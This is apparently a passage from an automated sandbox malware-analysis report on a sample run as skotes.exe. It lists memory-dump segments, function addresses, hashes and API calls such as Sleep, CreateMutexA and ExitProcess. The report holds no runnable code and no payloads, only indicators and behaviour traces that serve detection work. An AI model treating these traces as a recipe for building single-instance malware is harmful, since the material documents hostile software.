Associated: 00000000.00000002.2146862765.00000000006A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146882648.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146904411.00000000006A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146926193.00000000006AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146948841.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147040733.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147065589.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147087695.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147107075.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147125842.0000000000729000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147154120.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147173442.000000000073A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: b5a57dc933d82eb7c5debff2be689267ad6054cf49236b16a6f7fa070dbfcf62
Instruction ID: 650d3f24b1cd8116934200f51ce90d90648e0fcbe2cdd01eb4e3af133768ad8f
Opcode Fuzzy Hash: b5a57dc933d82eb7c5debff2be689267ad6054cf49236b16a6f7fa070dbfcf62
Instruction Fuzzy Hash: E0A100B0A00215AFEB10DF65D94576BB7B8FF08315F40416AE805E7381EB7DEA14CBA9

Function 0043BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0043BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0043BBE4
_xtime_get.LIBCPMT ref: 0043BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0043BC13

Memory Dump Source

Source File: 00000000.00000002.2146023393.0000000000421000.00000040.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2146004289.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146023393.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146093457.0000000000489000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146111748.000000000048B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146131348.0000000000497000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146251581.00000000005F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146277307.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000616000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146356893.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146383192.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146401422.000000000061D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146420111.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146453940.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146476016.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146495965.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146515428.000000000062E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146543309.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146567461.0000000000659000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146642743.000000000067B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146664174.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146685366.000000000067E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146706498.0000000000685000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146727041.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146753519.000000000068A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146779542.0000000000691000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146799782.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146820744.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146841653.0000000000698000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146862765.00000000006A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146882648.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146904411.00000000006A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146926193.00000000006AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146948841.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147040733.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147065589.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147087695.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147107075.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147125842.0000000000729000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147154120.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147173442.000000000073A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 57dc24d1dc7eb501c16423134a9b6aea7aff98f36ce2c82a19ebe64b9e321a1d
Instruction ID: 95de55cb87e763e67f5de6bc3101b69e72a1a82529d3f098064d4f0973f03a58
Opcode Fuzzy Hash: 57dc24d1dc7eb501c16423134a9b6aea7aff98f36ce2c82a19ebe64b9e321a1d
Instruction Fuzzy Hash: E32130759001199FDF00EFA5C8829BEB779EF0C714F10106AF601B7291DB34AD019B94

Function 0045F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0045F3A3

Strings

8"H, xrefs: 0045F44B
`'H, xrefs: 0045F375

Memory Dump Source

Source File: 00000000.00000002.2146023393.0000000000421000.00000040.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2146004289.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146023393.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146093457.0000000000489000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146111748.000000000048B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146131348.0000000000497000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146251581.00000000005F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146277307.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000616000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146356893.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146383192.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146401422.000000000061D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146420111.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146453940.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146476016.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146495965.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146515428.000000000062E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146543309.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146567461.0000000000659000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146642743.000000000067B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146664174.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146685366.000000000067E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146706498.0000000000685000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146727041.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146753519.000000000068A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146779542.0000000000691000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146799782.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146820744.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146841653.0000000000698000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146862765.00000000006A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146882648.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146904411.00000000006A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146926193.00000000006AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146948841.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147040733.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147065589.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147087695.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147107075.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147125842.0000000000729000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147154120.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147173442.000000000073A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_file.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"H$`'H
API String ID: 3903695350-3779201904
Opcode ID: a77309193abe9472e2dda4a3071ebf59b2f5ca5926d16818078d3d4efa6d52b5
Instruction ID: b4b5b3c7523714beebb7da04eedf29178047c3db812dcb883f52cb397ff14945
Opcode Fuzzy Hash: a77309193abe9472e2dda4a3071ebf59b2f5ca5926d16818078d3d4efa6d52b5
Instruction Fuzzy Hash: 44316D31500201DFEB20AA3AD885B5B73E6EF01357F10452BEC45D7696DF78A89CCB1A

Analysis Process: skotes.exePID: 1496, Parent PID: 3536COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	612
Total number of Limit Nodes:	4

Executed Functions

Function 007B652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,007B652A,?,?,?,?,?,007B7661), ref: 007B6566

Memory Dump Source

Source File: 00000002.00000002.2170404472.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2170211778.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2170404472.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171442729.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171459289.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171550064.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172474244.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172490288.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172541595.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172555832.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172571587.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172590389.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172610949.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172629842.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172646732.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172663931.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172686050.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172704006.00000000009A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172720447.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172737981.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172763709.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172780765.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172796117.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172815047.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172834146.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172854879.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172871079.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172885621.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172903150.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172918565.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172934891.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172949520.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172964766.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172979559.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172994808.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173059389.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173074949.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173089820.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173105060.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173119264.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173140547.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173152782.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: c05fa2ffb577943b3eb7b6211f14e81d2bfe72ef38ab8790058583dfa7d119d8
Instruction ID: 18df2254aa2b6aea0f09fa5942cfd37e9408d799c743f978912661a2a613be51
Opcode Fuzzy Hash: c05fa2ffb577943b3eb7b6211f14e81d2bfe72ef38ab8790058583dfa7d119d8
Instruction Fuzzy Hash: D7E08631142108AACE357B14C90DFC83B69EF11751F004810FE0446525CB2DDD62C540

Function 00789BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000002.00000002.2170404472.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2170211778.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2170404472.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171442729.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171459289.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171550064.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172474244.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172490288.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172541595.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172555832.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172571587.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172590389.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172610949.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172629842.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172646732.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172663931.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172686050.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172704006.00000000009A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172720447.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172737981.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172763709.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172780765.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172796117.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172815047.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172834146.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172854879.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172871079.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172885621.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172903150.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172918565.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172934891.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172949520.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172964766.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172979559.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172994808.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173059389.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173074949.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173089820.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173105060.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173119264.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173140547.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173152782.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~
API String ID: 1464230837-3459864372
Opcode ID: af3a35a45d97f010f6375bb8ab93fde2ab7a6d8154ecbf05362b691e6a94b879
Instruction ID: b2d30fd4006931c5f6a590aff87a7b2e7d721afd24b819bcbaa6a5af6a32107c
Opcode Fuzzy Hash: af3a35a45d97f010f6375bb8ab93fde2ab7a6d8154ecbf05362b691e6a94b879
Instruction Fuzzy Hash: 7C3146717442009BEB1CBBB8DC8DB7DBBA2EBC5310F248219E114972D6D77E99808762

Function 00789F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000002.00000002.2170404472.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2170211778.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2170404472.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171442729.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171459289.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171550064.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172474244.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172490288.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172541595.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172555832.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172571587.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172590389.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172610949.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172629842.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172646732.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172663931.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172686050.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172704006.00000000009A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172720447.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172737981.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172763709.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172780765.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172796117.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172815047.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172834146.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172854879.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172871079.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172885621.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172903150.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172918565.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172934891.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172949520.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172964766.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172979559.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172994808.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173059389.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173074949.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173089820.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173105060.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173119264.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173140547.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173152782.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~
API String ID: 1464230837-3459864372
Opcode ID: 61863e5627807cd1590c6b78a8e63fdd3f168af2ce310ad513b745a5263ab7c1
Instruction ID: e94f889c6e8c36f957427c87421a19f8db8be36f12bb78770d60ec3ae04c5751
Opcode Fuzzy Hash: 61863e5627807cd1590c6b78a8e63fdd3f168af2ce310ad513b745a5263ab7c1
